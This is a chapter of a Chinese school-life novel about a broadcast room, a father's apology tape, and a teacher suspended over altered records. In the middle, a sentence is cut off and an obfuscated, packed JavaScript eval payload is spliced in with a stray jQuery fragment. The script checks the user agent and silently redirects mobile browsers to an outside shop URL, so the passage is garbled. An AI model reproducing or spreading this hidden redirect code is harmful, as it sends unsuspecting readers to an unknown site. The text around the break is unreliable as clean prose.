孟小舟把广播室的门关上时,孙莉正蹲在地上整理电线。
昨天的事以后,广播室像被人翻修了一遍。旧双卡录音机被梁潮生拆开过,话筒线也重新接了,桌上的磁带被分门别类塞进盒子,连那把总是找不到的小剪刀,都被孙莉用红绳拴在了抽屉把手上。
孙莉听见门响,一抬头,看见孟小舟,吓得差点把电线扔出去。
“孟、孟小舟姐?”
孟小舟站在门口。
她手里拿着一盘磁带。
孙莉一看见磁带,脸色就白了:“你又要放?”
孟小舟看着她。
孙莉紧张得声音都快飘起来:“不行的,主任说了,广播室现在不能随便放磁带。话筒也不能随便开。还有那个总开关,我、我不知道梁潮生接到哪儿了。”
孟小舟本来没什么表情,听到最后一句,竟然笑了一下。
“他把你们广播室修成迷宫了?”
孙莉愣了一下,没想到她会开玩笑。
孟小舟走到桌边,把那盘磁带放下。
“我不播。”
孙莉看着磁带盒上的字。
编号二。给孟小舟。是否愿意听:待问。
她认得周念安的字,清秀,端正,写得像每个字都知道自己该站在哪里。
孙莉声音放低:“你要听这个?”
孟小舟没有立刻回答。
她拿起磁带盒,又放下。
动作重复了两次,像拿的不是一盘磁带,而是一块会烫人的铁。
孙莉不敢催她。
广播室窗户开着,外面传来早读前的动静。有人背单词,有人搬椅子,操场边陶母的包子录音远远飘过来:
“北门陶记包子,热的,实的,刚出锅!”
声音有些糙,却很有劲儿。
孙莉忍不住小声说:“这录得挺好。”
孟小舟看了她一眼:“你喜欢?”
“嗯。”孙莉点头,“比学校广播稿有精神。”
说完她又意识到自己好像说了不该说的话,赶紧闭嘴。
孟小舟却没有骂她。
她只是把磁带推进卡槽里,手指停在播放键上,很久没按下去。
门外传来脚步声。
周念安和梁潮生到了。
梁潮生手里还拎着半袋油条,显然是从校门口一路吃上来的。进门看见孟小舟,他动作一顿。
“哟。”他说,“这么早来验收设备?”
孟小舟没理他。
周念安看见桌上的磁带,也停了一下。
“你要听吗?”
孟小舟问她:“你们一定要在这儿?”
“你可以让我们出去。”
“出去。”孟小舟说。
梁潮生很配合,转身就走:“行,我们在门口听墙根。”
孟小舟抬眼:“梁潮生。”
“开个玩笑。”他把油条袋往桌上一放,“我出去,不偷听。”
周念安也准备走。
孟小舟却又忽然叫住她。
“你留下。”
梁潮生脚步一停,回头看了周念安一眼。
周念安没有问为什么,只点头。
“好。”
梁潮生靠在门口,低声说:“有事喊我。”
孟小舟冷冷道:“喊你来修机器吗?”
“也行。”梁潮生笑了下,“我功能挺多。”
他说完出去了,还顺手把门带上。
广播室里只剩三个女孩子。
孙莉站也不是,坐也不是,最后小声问:“那我呢?”
孟小舟看她:“你不是广播员吗?”
孙莉茫然。
“听着。”孟小舟说,“别再被人换磁带都不知道。”
孙莉脸红了:“哦。”
周念安站在桌旁,没有靠太近。
她知道这盘磁带不是给她的。
孟小舟终于按下播放键。
滋啦。
老录音机转起来。
孟长河粗哑的声音从里面传出来。
“小舟,我是爸。”
只这一句,孟小舟的手指就攥紧了。
她没有坐,背挺得很直,像怕自己一坐下就会散掉。
磁带里的声音继续。
“你那年要去省里,我没问清楚,是爸糊涂。你怨我是应该的。”
“爸不会说话,也不知道还能不能补。你要是不想听,就让他们把这盘扔了。你要是愿意听,爸想跟你说,你小时候唱那首歌,爸一直记得。”
孟小舟的眼眶一点点红了。
她偏过头,不看录音机。
可声音还是从里面出来,躲不开。
“你不是没能离开。”
“是爸那时候没送你走成。”
磁带到这里停了一下,留下很短的空白。
孙莉已经哭了。
她哭得很轻,拼命不出声,眼泪却一颗颗往下掉。她大概不是完全懂孟小舟的痛,可有些话不需要全懂,听见“没送你走成”,也足够让人心里发酸。
孟小舟没哭。
至少没有让眼泪掉下来。
她伸手,按停录音机。
咔哒。
声音断了。
广播室里安静得只剩窗外的风。
过了很久,孟小舟低声说:“他以前从来不说这种话。”
周念安说:“可能不会。”
“不会就可以不说吗?”
“不可以。”周念安顿了顿,“所以他说晚了。”
孟小舟看向她。
周念安没有劝她原谅,也没有说“你爸也不容易”。
这种话太轻,轻得像在替别人盖住伤口。
她只是说:“但晚了,不代表你不能决定要不要听第二遍。”
孟小舟低下头,看着那盘磁带。
“我不知道。”
“那就先不知道。”
孙莉哭到一半,茫然抬头:“先不知道?”
周念安点头:“嗯。有些事不用马上决定。”
孟小舟忽然笑了一声。
“周念安,你真不像作文里那种人。”
“哪种?”
“永远有正确答案的人。”
周念安想了想:“我作文以前写得确实太满。”
门外传来梁潮生压低的声音:“周同学,你这是承认自己以前假大空了吗?”
周念安回头:“你不是说不偷听?”
门外安静一秒。
梁潮生说:“我路过。”
孙莉噗嗤笑出来,哭声一下卡住。
孟小舟也没忍住,嘴角极浅地动了一下。
她把磁带拿出来,放回盒子,指腹在“是否愿意听:待问”那一行字上轻轻蹭过。
“改一下。”她说。
周念安问:“改什么?”
孟小舟拿起笔,在后面补了三个字:
已听过。
想了想,又写:
暂存。
字迹清秀,却比从前多了一点重。
早读铃快响时,陶小满抱着包子跑上来。
她显然跑得急,脸颊红红的,头发也有点乱。进门看见孟小舟在,立刻站住。
“孟姐姐。”
孟小舟把磁带盒收进抽屉,恢复那副冷淡模样。
“你声音练了吗?”
陶小满点头,又摇头:“练了,但是我妈说我像蚊子开会。”
梁潮生从门外探头:“你妈形容很准。”
陶小满脸一红。
孟小舟走到话筒前,把稿纸递给她。
“念。”
陶小满接过一看,是昨天包子摊那段吆喝词。
她小声念:“北门陶记包子,热的,实的,刚出锅……”
“停。”孟小舟皱眉,“你这是卖包子,还是跟包子道歉?”
梁潮生在门口笑得弯腰。
陶小满更窘:“我不习惯大声。”
“那就先对着话筒说。”孟小舟说,“话筒不会笑你。”
梁潮生举手:“我会。”
周念安把门关上。
梁潮生被关在外面,声音隔着门传来:“周同学,你这是打击技术人员积极性。”
屋里几个人都笑了。
孟小舟没有再让陶小满直接念,而是让她站直,先吸气,再把第一句送出去。
“不是喊。”她说,“是让人听见。”
陶小满照做。
第一遍还是小。
第二遍好一点。
第三遍,声音终于稳了些。
“北门陶记包子,热的,实的,刚出锅!”
孙莉忍不住鼓掌。
陶小满脸红得厉害,却笑了。
孟小舟看着她,眼神有一瞬间很软,又很快收回去。
“以后每天早读前来练十分钟。”她说,“迟到就别来。”
陶小满眼睛亮得像被灯照了一下。
“好!”
梁潮生在门外敲门:“那我能进来了吗?”
孟小舟冷声:“不能。”
梁潮生:“我修过这门,它跟我有感情。”
周念安打开门。
他立刻挤进来,嘴上还不忘说:“周同学还是讲道理。”
周念安看他:“油条呢?”
梁潮生动作一顿。
桌上的油条袋已经空了。
孙莉默默移开视线。
陶小满低头看脚尖。
孟小舟神色平静。
周念安问:“谁吃了?”
梁潮生看了一圈,最后视线落到孟小舟身上。
孟小舟说:“我吃的。”
梁潮生愣住。
孟小舟补了一句:“你放桌上的。”
梁潮生难得被噎得说不出话。
周念安偏过头笑。
孙莉笑得脸都红了。
陶小满也憋不住。
广播室里难得有这么轻松的一刻。
可这种轻松没有持续太久。
早读后,教导主任来找孟小舟。
他没有像过去那样扯着嗓子训人,只站在门口,清了清嗓子。
“孟小舟,校长让你去一趟办公室。”
陶小满立刻紧张起来:“主任……”
孟小舟看她一眼:“练你的声音。”
她跟着主任走了。
周念安原本想跟过去,主任却说:“校长只叫她。周念安,你回去上课。”
梁潮生靠在门边:“那我呢?”
主任瞪他:“你尤其回去上课。”
梁潮生摸摸鼻子:“行。”
但他显然没真打算老实上课。
两人回到高三一班,第一节是数学。梁潮生摊开课本,书里夹着半张电路图;周念安刚把笔拿出来,桌上就被人递来一张纸条。
不是点歌的。
是吴雪晴传过来的。
校长办公室外面有人吵起来了。好像是马老师。
周念安看完,眉头一皱。
梁潮生从后排伸手,直接把纸条抽走。
“哎,周同学,上课传纸条,作风不端啊。”
“还我。”
他看完,笑意收了。
数学老师正在黑板前写题,粉笔刷刷响。
梁潮生把纸条塞回她练习册,低声说:“我去。”
“不行。”
“你是好学生,别跑课。”
“你也不能。”
“我本来就不像。”
他说完,竟真的从后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719519|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
门溜了出去。
周念安看着他空掉的位置,捏紧笔。
三分钟后,数学老师转身。
“梁潮生呢?”
全班沉默。
周念安低头看课本。
后排有人小声说:“老师,他可能去合理利用边门资源了。”
全班憋笑。
数学老师气得粉笔都掰断了。
校长办公室外,马老师果然在。
他脸色很差,正压着声音和校长说话。
“您不能只听几个学生一面之词!这些材料来源本来就有问题。夜里私自进入档案室,这是什么性质?”
校长还没开口,李老师从旁边走出来。
“是我让她们拍的。”
马老师脸色一变。
李老师站得很稳。
“材料是我找出来的。学生只是帮我拍照留底。”
马老师冷笑:“李老师,你知道自己在承认什么吗?”
“知道。”李老师说,“承认我昨天晚上在档案室,查到了你不希望别人查到的东西。”
马老师脸色彻底变了。
梁潮生站在走廊转角,听到这里,没再往前。
他原本想来挡一挡,或者必要时把场面搅乱。可现在看来,李老师比他想的要硬。
校长的声音很沉。
“马维民,材料已经寄出去了。市里如果来查,学校会配合。你先暂停团委相关工作。”
马老师猛地抬头:“校长!”
“这是学校决定。”
走廊里一阵死寂。
马老师转身出来时,正好看见梁潮生。
两人视线撞上。
梁潮生本来想装路过,想了想,索性懒得装。
“马老师。”他说,“今天没撬邮筒了?”
马老师脸色阴沉得几乎能滴水。
“梁潮生,你别以为自己很聪明。”
梁潮生笑了下。
“我从来没这么以为。”他说,“但我知道,别人的名字不是拿来填空的。”
马老师盯了他几秒,转身走了。
梁潮生靠在墙边,笑意慢慢淡下去。
他忽然觉得,这句话应该让周念安来说。
她说出来,肯定比他漂亮。
中午,孟小舟从校长办公室出来。
她没有哭,也没有笑,只是手里多了一张临时聘用证明。
文化宫同意继续留她工作,学校也会出具情况说明,配合市里复核当年的推荐材料。至于能不能补救,没人敢保证。
孟小舟站在教学楼下,看着那张纸很久。
周念安问她:“怎么样?”
孟小舟说:“他们说会查。”
“嗯。”
“也可能查不出什么结果。”
“嗯。”
“就算查出来,我也不会变回两年前。”
“嗯。”
孟小舟抬头看她:“你除了嗯,还会说别的吗?”
周念安想了想:“陶小满下午还等你教她念稿。”
孟小舟怔了一下。
梁潮生在旁边笑:“周同学这个意思是,旧账要查,新学生也要教,孟老师别想偷懒。”
孟小舟看向他:“你欠我的油条,记得还。”
梁潮生:“不是你自己拿的?”
“你放桌上,就是无主物。”
“周厂长,你评评理。”
周念安说:“点歌本规定,桌面食物归属需事先声明。”
梁潮生震惊:“什么时候规定的?”
“现在。”
孟小舟终于笑了一下。
很淡,但是真笑。
下午放学,陶小满准时来练声音。
红叶照相馆门口也比往日热闹。有人来取证件照,有人来问能不能录生日祝福,还有个卖糖葫芦的大爷表示想录一句吆喝,要求声音“要甜,但不能比糖葫芦甜”。
梁潮生听完说:“大爷,您这要求很文学。”
大爷说:“我孙女教的。”
点歌本又加了两页。
周念安在柜台前记账,梁潮生在旁边修录音机。孟小舟坐在门口,教陶小满把“热的,实的,刚出锅”念得更有底气。
太阳落下去时,孟小舟忽然拿起那盘父亲的磁带。
她没有当众播放,只把它放进自己的布包里。
周念安看见了,没有问。
孟小舟走到门口,又停下。
“周念安。”
“嗯?”
“明天我去锅炉房一趟。”
周念安点头:“好。”
梁潮生探头:“要不要带包子?”
孟小舟看他一眼:“你请?”
梁潮生立刻缩回去:“那算了。”
屋里笑成一片。
就在这片笑声里,韩师傅从暗房出来,手里夹着一张刚洗好的照片。
“谁刚才拍的这张?”
大家都看过去。
照片上是红叶照相馆门口。陶小满站在话筒前,孟小舟站在她旁边,周念安低头记账,梁潮生弯腰修录音机,韩师傅只拍到了半个脑袋。
画面有点歪,光也不算好。
可不知道为什么,所有人都在里面显得很活。
梁潮生看了半天,说:“韩叔,您这半个脑袋挺抢戏。”
韩师傅一巴掌拍他后脑勺:“你懂什么,这叫构图。”
周念安盯着照片,忽然说:“能多洗一张吗?”
韩师傅问:“你要?”
她点头。
梁潮生凑过来:“你要这个干什么?”
周念安看着照片里的小小照相馆。
“留着。”
她说。
“以后可能用得上。”